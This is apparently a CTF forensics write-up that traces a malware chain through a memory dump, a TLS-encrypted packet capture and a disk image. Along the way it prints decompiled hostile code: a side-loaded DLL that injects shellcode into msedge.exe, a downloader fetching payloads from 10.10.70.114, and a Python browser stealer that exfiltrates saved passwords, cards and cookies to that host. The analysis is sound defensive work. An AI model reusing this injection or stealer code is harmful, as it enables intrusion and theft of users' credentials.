PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\memdump.mem windows.filescan
Volatility 3 Framework 2.11.0
Progress:  100.00               PDB scanning finished
Offset  Name

0x8780001250c0  \Endpoint
0xd484cec8f3e0  \Windows\System32\en-US\netprofmsvc.dll.mui
0xd484d03aa380  \$BitMap
[REDACTED...]
0xd484d8429c40  \Users\abdelrhman322\Downloads\x64\7za.exe
[REDACTED...]
0xd484d8922bc0  \Users\abdelrhman322\Downloads\x64\cryptbase.dll # Later will be useful
[REDACTED...]
0xd484d8a03ae0  \Users\abdelrhman322\Downloads\x64
0xd484d8a048f0  \Windows\System32\en-US\propsys.dll.mui
0xd484d8a050c0  \Endpoint
Dumping 7za.exe

Once we found the file address, we dump in with windows.dumpfiles and the --virtaddr argument:

PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\memdump.mem windows.dumpfiles --virtaddr 0xd484d8429c40
Volatility 3 Framework 2.11.0
Progress:  100.00               PDB scanning finished
Cache   FileObject      FileName        Result

ImageSectionObject      0xd484d8429c40  7za.exe file.0xd484d8429c40.0xd484d62e9270.ImageSectionObject.7za.exe.img

Lets upload it to virustotal, to check if it is vulnerable:

Surprise! It is a valid 7za.exe file, to see full report of VT here: https://www.virustotal.com/gui/file/49e7c804b7bc01febadf6d2217e64d08d49a046cfa51f9d53c5b3d019eae0958

Detecting DLL Injection

If you go back to the filescan output, the cryptbase DLL can be found in the same path as the 7z executable, which is unusual since it is a System32 file.

Dumping cryptbase.dll

Being a potencial DLL injection such as DLL Hijacking or DLL Side-Loading, we decided to dump and reverse the binary. (Same process as before).

PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\memdump.mem windows.dumpfiles --virtaddr 0xd484d8922bc0
Volatility 3 Framework 2.11.0
Progress:  100.00               PDB scanning finished
Cache   FileObject      FileName        Result

ImageSectionObject      0xd484d8922bc0  cryptbase.dll   file.0xd484d8922bc0.0xd484d1382b10.ImageSectionObject.cryptbase.dll.img

We confirm our suspicions when we see what Virustotal tells us.

Full report: https://www.virustotal.com/gui/file/956c795d41025ff17fc49f539deae3e44d099a81b6d78999a844c8e73a317b4e

Reversing cryptbase.dll

At the entry point, a conditional is presented, if the DLL is being attached to a process (fdwReason == DLL_PROCESS_ATTACH) it will call sub_7FFED65117B0(); otherwise jump out the address: 0x7FFED65114CCLL:

.text:00007FFED65115F4 ; BOOL __stdcall DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
.text:00007FFED65115F4 public DllEntryPoint
.text:00007FFED65115F4 DllEntryPoint proc near
.text:00007FFED65115F4
.text:00007FFED65115F4 arg_0= qword ptr  8
.text:00007FFED65115F4 arg_8= qword ptr  10h
.text:00007FFED65115F4
.text:00007FFED65115F4 mov     [rsp+arg_0], rbx
.text:00007FFED65115F9 mov     [rsp+arg_8], rsi
.text:00007FFED65115FE push    rdi
.text:00007FFED65115FF sub     rsp, 20h
.text:00007FFED6511603 mov     rdi, r8
.text:00007FFED6511606 mov     ebx, edx
.text:00007FFED6511608 mov     rsi, rcx
.text:00007FFED651160B cmp     edx, 1
.text:00007FFED651160E jnz     short loc_7FFED6511615

.text:00007FFED6511610 call    sub_7FFED65117B0

.text:00007FFED6511615 loc_7FFED6511615:
.text:00007FFED6511615 mov     r8, rdi
.text:00007FFED6511618 mov     edx, ebx
.text:00007FFED651161A mov     rcx, rsi
.text:00007FFED651161D mov     rbx, [rsp+28h+arg_0]
.text:00007FFED6511622 mov     rsi, [rsp+28h+arg_8]
.text:00007FFED6511627 add     rsp, 20h
.text:00007FFED651162B pop     rdi
.text:00007FFED651162C jmp     loc_7FFED65114CC
.text:00007FFED651162C DllEntryPoint endp
Flow program

Being sub_7FFED65117B0 the security cookie, after some conditions and called functions, we found the function: sub_7FFED6511000():

int sub_7FFED6511000()
{
  HRSRC ResourceW; // rax
  HRSRC v1; // rdi
  DWORD v2; // ebx
  HGLOBAL Resource; // rax
  HRSRC v4; // rbp
  SIZE_T v5; // rsi
  HRSRC v6; // rdi
  DWORD v7; // edx
  HRSRC v8; // rcx
  __int64 v9; // rax
  DWORD (__stdcall *v10)(LPVOID); // rbx
  HRSRC v11; // rbx
  HMODULE phModule; // [rsp+50h] [rbp-B8h] BYREF
  struct _PROCESS_INFORMATION ProcessInformation; // [rsp+58h] [rbp-B0h] BYREF
  DWORD ExitCode; // [rsp+70h] [rbp-98h] BYREF
  SIZE_T NumberOfBytesWritten; // [rsp+78h] [rbp-90h] BYREF
  struct _STARTUPINFOW lpStartupInfo; // [rsp+80h] [rbp-88h] BYREF

  lpStartupInfo.cb = 104;
  memset(&lpStartupInfo.lpReserved, 0, 96);
  LODWORD(ResourceW) = CreateProcessW(
                         L"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
                         0LL,
                         0LL,
                         0LL,
                         0,
                         4u,
                         0LL,
                         0LL,
                         &lpStartupInfo,
                         &ProcessInformation);
  if ( ResourceW )
  {
    phModule = 0LL;
    LODWORD(ResourceW) = GetModuleHandleExW(4u, sub_7FFED6511000, &phModule);
    if ( ResourceW )
    {
      ResourceW = FindResourceW(phModule, 0x65, L"SHELL");
      v1 = ResourceW;
      if ( ResourceW )
      {
        v2 = SizeofResource(phModule, ResourceW);
        Resource = LoadResource(phModule, v1);
        ResourceW = LockResource(Resource);
        v4 = ResourceW;
        if ( ResourceW )
        {
          if ( v2 )
          {
            v5 = v2;
            ResourceW = VirtualAlloc(0LL, v2, 0x1000u, 0x40u);
            v6 = ResourceW;
            if ( ResourceW )
            {
              sub_7FFED651D400(ResourceW, v4, v2);
              v7 = 0;
              v8 = v6;
              do
              {
                v8 = (v8 + 1);
                v9 = v7++ & 0xF;
                *(v8 - 1) ^= aX7qp9zlma2vtej[v9];
              }
              while ( v7 < v2 );
              ResourceW = VirtualAllocEx(ProcessInformation.hProcess, 0LL, v2, 0x3000u, 0x40u);
              v10 = ResourceW;
              if ( ResourceW )
              {
                NumberOfBytesWritten = 0LL;
                LODWORD(ResourceW) = WriteProcessMemory(
                                       ProcessInformation.hProcess,
                                       ResourceW,
                                       v6,
                                       v5,
                                       &NumberOfBytesWritten);
                if ( ResourceW )
                {
                  ResourceW = CreateRemoteThread(ProcessInformation.hProcess, 0LL, 0LL, v10, 0LL, 0, 0LL);
                  v11 = ResourceW;
                  if ( ResourceW )
                  {
                    ExitCode = 0;
                    GetExitCodeThread(ResourceW, &ExitCode);
                    CloseHandle(v11);
                    CloseHandle(ProcessInformation.hThread);
                    CloseHandle(ProcessInformation.hProcess);
                    LODWORD(ResourceW) = VirtualFree(v6, 0LL, 0x8000u);
                  }
                }
              }
            }
          }
        }
      }
    }
  }
  return ResourceW;
}
Dumping Shellcode

Without getting deeper with the function, it recreate a process injection to execute a shellcode inside the msedge.exe process. As x64dbg doesn’t recognize the PE file, use the Sysinternals rcedump to dump the shellcode without reversing or use Resource Hacker:

Decrypting Shellcode

Once we save it, remember to xor it with the key: aX7qp9zlma2vtej, to avoid scripting can use Cyberchef:

Extracting Shellcode Data

Uploading it to virustotal: https://www.virustotal.com/gui/file/254ce67262ad7bcf853ba125a669088a07b5508d3bdfda97fb243d73ce9b1f5b

Some AV detects it as Generic.ShellCode.RDI.Marte.10.9F70A3A9, by doing a bit of researching we can find the following github repo: https://github.com/monoxgas/sRDI, mention it is a Shellcode implementation of Reflective DLL Injection. Convert DLLs to position independent shellcode. As the final result is to convert an executable into a shellcode, we try carving out the PE file with binwalk:

$> binwalk shellcode.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
2856          0xB28           Microsoft executable, portable (PE)
13704         0x3588          XML document, version: "1.0"

As binwalk give us and error by trying to export it

$> binwalk shellcode.bin -E

DECIMAL       HEXADECIMAL     ENTROPY
--------------------------------------------------------------------------------
0             0x0             Falling entropy edge (0.764837)
/home/yl/.local/lib/python3.11/site-packages/binwalk/modules/entropy.py:317: UserWarning: FigureCanvasAgg is non-interactive, and thus cannot be shown
  plt.show()

We can use dd or pefile-python:

$> dd if=shellcode.bin of=extracted.dll bs=1 skip=$((0xB28))
11780+0 records in
11780+0 records out
11780 bytes (12 kB, 12 KiB) copied, 5.85917 s, 2.0 kB/s
import pefile

with open("shellcode.bin", "rb") as f:
    data = f.read()
    
pe_data = data[0xB28:]

pe = pefile.PE(data=pe_data)
pe.write(filename="extracted.dll")
Reversing extracted.dll

Inside the dll we find a function called RunMe_:

ReturnType          Name                                    CC          StartEA     Callers 
--------------------------------------------------------------------------------------------
unknown             RunME_0                                 unknown     180001000   2

With the following content:

int RunME_0()
{
  __int64 v0; // rdi
  __int64 v1; // rdx
  CHAR *v2; // rcx
  CHAR v3; // al
  CHAR *v4; // rax
  __int64 v5; // rcx
  CHAR *v6; // rax
  __int64 v7; // rax
  CHAR *v8; // rcx
  __int64 v9; // rdx
  __int64 v10; // rax
  char *v11; // r9
  CHAR v12; // r8
  CHAR *v13; // rax
  __int64 v14; // rdx
  CHAR *v15; // rcx
  CHAR v16; // al
  CHAR *v17; // rax
  __int64 v18; // rcx
  CHAR *v19; // rax
  __int64 v20; // rax
  CHAR *v21; // rcx
  __int64 v22; // rdx
  __int64 v23; // rax
  char *v24; // r9
  CHAR v25; // r8
  CHAR *v26; // rax
  int result; // eax
  __int64 v28; // rdx
  CHAR *v29; // rcx
  CHAR v30; // al
  CHAR *v31; // rax
  __int64 v32; // rcx
  CHAR *v33; // rax
  __int64 v34; // rax
  CHAR *v35; // rcx
  __int64 v36; // rbx
  char *v37; // rdx
  CHAR v38; // al
  CHAR *v39; // rax
  CHAR v40[272]; // [rsp+30h] [rbp-458h] BYREF
  CHAR v41[272]; // [rsp+140h] [rbp-348h] BYREF
  CHAR pszPath[272]; // [rsp+250h] [rbp-238h] BYREF
  CHAR v43[272]; // [rsp+360h] [rbp-128h] BYREF

  v0 = 2147483646LL;
  if ( SHGetFolderPathA(0LL, 26, 0LL, 0, pszPath) >= 0 )
  {
    v1 = 260LL;
    v2 = v40;
    do
    {
      if ( v1 == -2147483386 )
        break;
      v3 = v2[pszPath - v40];
      if ( !v3 )
        break;
      *v2++ = v3;
      --v1;
    }
    while ( v1 );
    v4 = v2 - 1;
    if ( v1 )
      v4 = v2;
    v5 = 260LL;
    *v4 = 0;
    v6 = v40;
    do
    {
      if ( !*v6 )
        break;
      ++v6;
      --v5;
    }
    while ( v5 );
    v7 = 260 - v5;
    if ( v5 )
    {
      v8 = &v40[v7];
      v9 = 260 - v7;
      if ( v7 != 260 )
      {
        v10 = 2147483646LL;
        v11 = (char *)("\\encrypted.bin" - v8);
        do
        {
          if ( !v10 )
            break;
          v12 = v8[(_QWORD)v11];
          if ( !v12 )
            break;
          *v8 = v12;
          --v10;
          ++v8;
          --v9;
        }
        while ( v9 );
      }
      v13 = v8 - 1;
      if ( v9 )
        v13 = v8;
      *v13 = 0;
    }
    URLDownloadToFileA(0LL, "https://10.10.70.114/encrypted.bin", v40, 0, 0LL);
  }
  v14 = 260LL;
  v15 = v41;
  do
  {
    if ( v14 == -2147483386 )
      break;
    v16 = v15[pszPath - v41];
    if ( !v16 )
      break;
    *v15++ = v16;
    --v14;
  }
  while ( v14 );
  v17 = v15 - 1;
  if ( v14 )
    v17 = v15;
  v18 = 260LL;
  *v17 = 0;
  v19 = v41;
  do
  {
    if ( !*v19 )
      break;
    ++v19;
    --v18;
  }
  while ( v18 );
  v20 = 260 - v18;
  if ( v18 )
  {
    v21 = &v41[v20];
    v22 = 260 - v20;
    if ( v20 != 260 )
    {
      v23 = 2147483646LL;
      v24 = (char *)("\\2.txt" - v21);
      do
      {
        if ( !v23 )
          break;
        v25 = v21[(_QWORD)v24];
        if ( !v25 )
          break;
        *v21 = v25;
        --v23;
        ++v21;
        --v22;
      }
      while ( v22 );
    }
    v26 = v21 - 1;
    if ( v22 )
      v26 = v21;
    *v26 = 0;
  }
  URLDownloadToFileA(0LL, "https://10.10.70.114/2.txt", v41, 0, 0LL);
  URLDownloadToFileA(0LL, "https://10.10.70.114/L3AK{AV_evasion_is_easy", v41, 0, 0LL);
  result = SHGetFolderPathA(0LL, 7, 0LL, 0, v43);
  if ( result >= 0 )
  {
    v28 = 260LL;
    v29 = v40;
    do
    {
      if ( v28 == -2147483386 )
        break;
      v30 = v29[v43 - v40];
      if ( !v30 )
        break;
      *v29++ = v30;
      --v28;
    }
    while ( v28 );
    v31 = v29 - 1;
    if ( v28 )
      v31 = v29;
    v32 = 260LL;
    *v31 = 0;
    v33 = v40;
    do
    {
      if ( !*v33 )
        break;
      ++v33;
      --v32;
    }
    while ( v32 );
    v34 = 260 - v32;
    if ( v32 )
    {
      v35 = &v40[v34];
      v36 = 260 - v34;
      if ( 260 != v34 )
      {
        v37 = (char *)("\\sctask.exe" - v35);
        do
        {
          if ( !v0 )
            break;
          v38 = v35[(_QWORD)v37];
          if ( !v38 )
            break;
          *v35 = v38;
          --v0;
          ++v35;
          --v36;
        }
        while ( v36 );
      }
      v39 = v35 - 1;
      if ( v36 )
        v39 = v35;
      *v39 = 0;
    }
    return URLDownloadToFileA(0LL, "https://10.10.70.114/sctasks.exe", v40, 0, 0LL);
  }
  return result;
}
IoCs from Dynamic-link library

Obtaining the first part of the flag L3AK{AV_evasion_is_easy and a web server hosted on 10.10.70.114, that we will go further inside the pcapng file, with some others endpoints such as:

  • sctasks.exe
  • 2.txt
  • encrypted.bin

Network Forensics

Thanks to the IoCs from the memory analysis, we have the next step inside the real challenge, with wireshark open the pcapng file and filter for the ip mentioned:

Using the filter:

ip.src==10.10.70.114

Expecting for HTTPs packets, we only find tcp/tls packets, with 100% prevalence:

At this moment, I remember the challenge from MetaCTF: https://metactf.com/blog/flash-ctf-tampered-seal/, where it abuses from a TLS vulnerable key for decrypting the whole capture, creating our own pem file.

From a TLSv1.2 packet with Server HEello, Certificate, Server Hello Done, extract the certificate content:

Extracting Handshake

You can also export it with tshark, identifying the packet and obtaining the TLS Handshake Certificate.

$> tshark -r traffic.pcapng -Y "frame.number == 31"
   31 6.814918114 10.10.70.114 → 10.10.70.140 TLSv1.2 833 Server Hello, Certificate, Server Hello Done
   
$> tshark -r traffic.pcapng -Y "frame.number == 31" -T fields -e tls.handshake.certificate
308202b1308201f4a003020102021476a9af24d71ac3aafdd3cab125fd0df2906a7e76300d06092a864886f70d01010b05003045310b30090603550406130241553113301106035504080c0a536f6d652d53746174653121301f060355040a0c18496e7465726e6574205769646769747320507479204c7464301e170d3235303631353031303931325a170d3236303631353031303931325a3045310b30090603550406130241553113301106035504080c0a536f6d652d53746174653121301f060355040a0c18496e7465726e6574205769646769747320507479204c74643081c4300d06092a864886f70d01010105000381b2003081ae0281a6045e86654bc0a3b7ca873107a336f527d1305f6a44c80e3d54bafed669c45118d5c30c89c465c0ccfb060a625922b42f9a70255f6d20825e3bf84c7ca29f3f5b04895251e70fe876a74c1b3583bf7f3eaecd56b4d4487c66b0aa155bb935c0a20d925b314d079c1e91d5775346c6e4b7bf0ae11ed93a55b3d26b713e25b1d316660b989cdf935be67fff82bc89000000000000000000000000000000000000000000000132990203010001a3533051301d0603551d0e04160414ae05e9e818023035fcbd2da8b3687ef07e3e6d50301f0603551d23041830168014ae05e9e818023035fcbd2da8b3687ef07e3e6d50300f0603551d130101ff040530030101ff300d06092a864886f70d01010b05000381a700004b052ab4ae2b7ead6770297aa791e9f94547fbfdc1433669e9337e296107714d14d8bb258f80f66c281b6ba8dd20abbbcd89ca2e768bde6d2872e0484bd52b76ff8f9060452431e858c417ec39c5f92acbc2f464df20af5f42f4aa78525576aa045ab6aaf46cdc6e6fdd3a935b8cdeafa0ef8f898a50b678b7338e076b4fdce169099bb9b786456e5d716a8653d6b6f23bc1e565c6fb45dfb8272bdfd98f2780b63442edec

Once you have it, create the bin file, and check you create it correctly.

 $> tshark -r traffic.pcapng -Y "frame.number == 31" -T fields -e tls.handshake.certificate | xxd -r -p > cert.bin
 $> file cert.bin
cert.bin: Certificate, Version=3
Obtaining Modulus

Now with openssl, get the modulus to obtain thhe prime factors:

$> openssl x509 -in ./cert.bin -inform DER -text -noout                            1Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            76:a9:af:24:d7:1a:c3:aa:fd:d3:ca:b1:25:fd:0d:f2:90:6a:7e:76
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C = AU, ST = Some-State, O = Internet Widgits Pty Ltd
        Validity
            Not Before: Jun 15 01:09:12 2025 GMT
            Not After : Jun 15 01:09:12 2026 GMT
        Subject: C = AU, ST = Some-State, O = Internet Widgits Pty Ltd
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (1323 bit)
                Modulus:
                    04:5e:86:65:4b:c0:a3:b7:ca:87:31:07:a3:36:f5:
                    27:d1:30:5f:6a:44:c8:0e:3d:54:ba:fe:d6:69:c4:
                    51:18:d5:c3:0c:89:c4:65:c0:cc:fb:06:0a:62:59:
                    22:b4:2f:9a:70:25:5f:6d:20:82:5e:3b:f8:4c:7c:
                    a2:9f:3f:5b:04:89:52:51:e7:0f:e8:76:a7:4c:1b:
                    35:83:bf:7f:3e:ae:cd:56:b4:d4:48:7c:66:b0:aa:
                    15:5b:b9:35:c0:a2:0d:92:5b:31:4d:07:9c:1e:91:
                    d5:77:53:46:c6:e4:b7:bf:0a:e1:1e:d9:3a:55:b3:
                    d2:6b:71:3e:25:b1:d3:16:66:0b:98:9c:df:93:5b:
                    e6:7f:ff:82:bc:89:00:00:00:00:00:00:00:00:00:
                    00:00:00:00:00:00:00:00:00:00:00:00:00:01:32:
                    99
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Subject Key Identifier:
                AE:05:E9:E8:18:02:30:35:FC:BD:2D:A8:B3:68:7E:F0:7E:3E:6D:50
            X509v3 Authority Key Identifier:
                AE:05:E9:E8:18:02:30:35:FC:BD:2D:A8:B3:68:7E:F0:7E:3E:6D:50
            X509v3 Basic Constraints: critical
                CA:TRUE
    Signature Algorithm: sha256WithRSAEncryption
    Signature Value:
        00:4b:05:2a:b4:ae:2b:7e:ad:67:70:29:7a:a7:91:e9:f9:45:
        47:fb:fd:c1:43:36:69:e9:33:7e:29:61:07:71:4d:14:d8:bb:
        25:8f:80:f6:6c:28:1b:6b:a8:dd:20:ab:bb:cd:89:ca:2e:76:
        8b:de:6d:28:72:e0:48:4b:d5:2b:76:ff:8f:90:60:45:24:31:
        e8:58:c4:17:ec:39:c5:f9:2a:cb:c2:f4:64:df:20:af:5f:42:
        f4:aa:78:52:55:76:aa:04:5a:b6:aa:f4:6c:dc:6e:6f:dd:3a:
        93:5b:8c:de:af:a0:ef:8f:89:8a:50:b6:78:b7:33:8e:07:6b:
        4f:dc:e1:69:09:9b:b9:b7:86:45:6e:5d:71:6a:86:53:d6:b6:
        f2:3b:c1:e5:65:c6:fb:45:df:b8:27:2b:df:d9:8f:27:80:b6:
        34:42:ed:ec

Also, you can extract directly the modulus:

$> openssl x509 -in cert.bin -inform DER -noout -modulus
Modulus=45E86654BC0A3B7CA873107A336F527D1305F6A44C80E3D54BAFED669C45118D5C30C89C465C0CCFB060A625922B42F9A70255F6D20825E3BF84C7CA29F3F5B04895251E70FE876A74C1B3583BF7F3EAECD56B4D4487C66B0AA155BB935C0A20D925B314D079C1E91D5775346C6E4B7BF0AE11ED93A55B3D26B713E25B1D316660B989CDF935BE67FFF82BC8900000000000000000000000000000000000000000000013299

Pass it to a base 10 number:

100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006660000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000078489
Cracking the Modulus

And crack the prime factors:

Obtaining:

  • 10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000153
  • 10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000513
Creating PEM file

We can create the pem file:

from Crypto.PublicKey import RSA

def make_rsa_private_key(p, q, e=65537):
    n = p * q
    phi = (p-1)*(q-1)
    d = pow(e, -1, phi)
    key = RSA.construct((n, e, d))
    return key

if __name__ == "__main__":
    p = 10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000153
    q = 10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000513

    key = make_rsa_private_key(p, q)

    with open("private.pem", "wb") as f:
        f.write(key.export_key("PEM"))

    print("Private key saved to private.pem")
$> file private.pem
private.pem: PEM RSA private key

Apply it to wireshark, with the port 443 and the ip address from the beggining:

Dumping flag and exe

Inside the HTTP protocol you will see the second part of the flag:

GET /2.txt HTTP/1.1
Host: 10.10.70.114
Connection: keep-alive
sec-ch-ua: "Brave";v="137", "Chromium";v="137", "Not/A)Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-GPC: 1
Accept-Language: en-US,en;q=0.5
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://10.10.70.114/
Accept-Encoding: gzip, deflate, br, zstd

  

  
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.13.3
Date: Sun, 15 Jun 2025 12:58:37 GMT
Content-type: text/plain
Content-Length: 21
Last-Modified: Sun, 15 Jun 2025 12:57:21 GMT

_Mastering_forensics_

Furthemore, extract encrypted.bin and sctask.exe that will be useful for a future.

Disk Forensics

Extracting pyc from sctask.exe

Starting with the analysis of sctask.exe with VT: https://www.virustotal.com/gui/file/e0a69746dcdfd36ec39ee04bb53a64aa06eb3ba9f4a21e302d39f26dcbdaac06, we can use pyinstxtractor.py to obtain pyc files:

$> python3 pyinstxtractor/pyinstxtractor.py sctask.exe
[+] Processing sctask.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.13
[+] Length of package: 13710883 bytes
[+] Found 131 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_pkgres.pyc
[+] Possible entry point: pyi_rth_setuptools.pyc
[+] Possible entry point: browser_stealer.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.13 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: sctask.exe

You can now use a python decompiler on the pyc files within the extracted directory

Decompiling pyc files

To watch the source code of a pyc we can use the following online tool: https://pylingual.io/. We focus on browser_stealer.pyc:

\# Decompiled with PyLingual (https://pylingual.io)
## Internal filename: browser_stealer.py
## Bytecode version: 3.13.0rc3 (3571)
## Source timestamp: 1970-01-01 00:00:00 UTC (0)

import base64
import json
import os
import shutil
import sqlite3
from datetime import datetime, timedelta
from Crypto.Cipher import AES
from win32crypt import CryptUnprotectData
appdata = os.getenv('LOCALAPPDATA')
roaming = os.getenv('APPDATA')
browsers = {'avast': appdata + '\\AVAST Software\\Browser\\User Data', 'amigo': appdata + '\\Amigo\\User Data', 'torch': appdata + '\\Torch\\User Data', 'kometa': appdata + '\\Kometa\\User Data', 'orbitum': appdata + '\\Orbitum\\User Data', 'cent-browser': appdata + '\\CentBrowser\\User Data', '7star': appdata + '\\7Star\\7Star\\User Data', 'sputnik': appdata + '\\Sputnik\\Sputnik\\User Data', 'vivaldi': appdata + '\\Vivaldi\\User Data', 'chromium': appdata + '\\Chromium\\User Data', 'chrome-canary': appdata + '\\Google\\Chrome SxS\\User Data', 'chrome': appdata + '\\Google\\Chrome\\User Data', 'epic-privacy-browser': appdata + '\\Epic Privacy Browser\\User Data', 'msedge-dev': appdata + '\\Microsoft\\Edge Dev\\User Data', '\\uCozMedia\\Uran\\User Data': appdata + '\\Yandex\\YandexBrowser\\User Data', '\\BraveSoftware\\Brave-Browser\\User Data': appdata + '\\Iridium\\User Data', '\\CocCoc\\Browser\\User Data': roaming + '\\Opera Software\\Opera Stable', '\\Opera Software\\Opera GX Stable': roaming + '\\Opera Software\\Opera GX Stable'}
data_queries = {'login_data': {'query': 'SELECT action_url, username_value, password_value FROM logins', 'file': '\\Login Data', 'columns': ['URL', 'Email', 'Password'], 'decrypt': True}, 'credit_cards': {'query': 'SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified FROM credit_cards', 'file': '\\Web Data', 'columns': ['Name On Card', 'Card Number', 'Expires On', 'Added On'], 'decrypt': True}, 'cookies': {'query': 'SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies', 'file': '\\Network\\Cookies', 'columns': ['Host Key', 'Cookie Name', 'Path', 'Cookie', 'Expires On'], 'decrypt': True}, 'history': {'query': 'SELECT url, title, last_visit_time FROM urls', 'file': '\\History', 'columns': ['URL', 'Title', 'Visited Time'], 'decrypt': False}, 'downloads': {'query': 'SELECT tab_url, target_path FROM downloads'

def get_master_key(path: str):
    if not os.path.exists(path):
        pass  # postinserted
    return None

def decrypt_password(buff: bytes, key: bytes) -> str:
    iv = buff[3:15]
    payload = buff[15:(-16)]
    cipher = AES.new(key, AES.MODE_GCM, iv)
    decrypted_pass = cipher.decrypt(payload)
    decrypted_pass = decrypted_pass.decode()
    return decrypted_pass

def save_results(browser_name, type_of_data, content):
    if content:
        url = 'http://10.10.70.114:443'
        data = {'browser': browser_name, 'type': type_of_data, 'content': content}
        try:
            response = requests.post(url, json=data)
            if response.status_code == 200:
                print(f'\t [*] Data sent successfully for {browser_name}/{type_of_data}')
            return None
    else:  # inserted
        return None
    except Exception as e:
        print(f'\t [-] Error sending data: {e}')
        return None

def decrypt_my_data(encrypted_file):
    with open('encrypted.bin', 'rb') as f:
        content = f.read()
    iv = '1234567891011123'
    encrypted_data = '6b4781995cf5e4e02c2625b3d1ac6389dbaf68fb5649a3c24ede19465f470412'
    key = CryptUnprotectData(content, None, None, None, 0)[1]
    key = bytes.fromhex(key)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    data = cipher.decrypt(encrypted_data)
    return decrypt_my_data

def get_data(path: str, profile: str, key, type_of_data):
    db_file = f"{path}\\{profile}{type_of_data['file']}"
    if not os.path.exists(db_file):
        pass  # postinserted
    return None

def convert_chrome_time(chrome_time):
    return (datetime(1601, 1, 1) + timedelta(microseconds=chrome_time)).strftime('%d/%m/%Y %H:%M:%S')

def installed_browsers():
    available = []
    for x in browsers.keys():
        if os.path.exists(browsers[x] + '\\Local State'):
            pass  # postinserted
        else:  # inserted
            available.append(x)
    return available
if __name__ == '__main__':
    available_browsers = installed_browsers()
    for browser in available_browsers:
        browser_path = browsers[browser]
        master_key = get_master_key(browser_path)
        print(f'Getting Stored Details from {browser}')
        for data_type_name, data_type in data_queries.items():
            print(f"\t [!] Getting {data_type_name.replace('_', ' ').capitalize()}")
            notdefault = ['opera-gx']
            profile = 'Default'
            profile = '' if browser in notdefault else ''
            data = get_data(browser_path, profile, master_key, data_type)
            save_results(browser, data_type_name, data)
            print('\t------\n')

Understanding flow program

The function: decrypt_my_data, decrypts encrypted.bin using DPAPI with an AES decryption, we know that thanks to the function: CryptUnprotectData():

def decrypt_my_data(encrypted_file):
    with open('encrypted.bin', 'rb') as f:
        content = f.read()
    iv = '1234567891011123'
    encrypted_data = '6b4781995cf5e4e02c2625b3d1ac6389dbaf68fb5649a3c24ede19465f470412'
    key = CryptUnprotectData(content, None, None, None, 0)[1]
    key = bytes.fromhex(key)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    data = cipher.decrypt(encrypted_data)
    return decrypt_my_data

DPAPI is used in common browsers such as Chrome, or any chromium based browsers, like Opera. Following this HTB writeup we can be able to complete the last step of the challenge:

Dumping DPAPI keys

As we can see, to obtain the master key we need to enter in the directory: \AppData\Roaming\Microsoft\Protect, so with FTK Imager we are able to dump the folders inside the path named.

Once dumped the file, we can use mimikatz to extract the DPAPI keys:

PS C:\L3akCTF> Get-ChildItem -Hidden .\S-1-5-21-2532670039-4151104164-2696135040-1001\


    Directory: C:\Users\yl\Documents\Retos\L3akCTF\S-1-5-21-2532670039-4151104164-2696135040-1001


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-         6/13/2025  10:01 AM            468 4dc3472c-8370-4831-9124-f45a6d742757
-a-hs-         6/13/2025  10:01 AM             24 Preferred

Obtaining user password

But before dumping the DPAPI we need the password of the user, so we need to comeback to the memdump.mem file and export all hashes from users:

PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\MemoryAnalysis\memdump.mem windows.hashdump
Volatility 3 Framework 2.11.0
Progress:  100.00               PDB scanning finished
User    rid     lmhash  nthash

Administrator   500     aad3b435b51404eeaad3b435b51404ee        31d6cfe0d16ae931b73c59d7e0c089c0
Guest   501     aad3b435b51404eeaad3b435b51404ee        31d6cfe0d16ae931b73c59d7e0c089c0
DefaultAccount  503     aad3b435b51404eeaad3b435b51404ee        31d6cfe0d16ae931b73c59d7e0c089c0
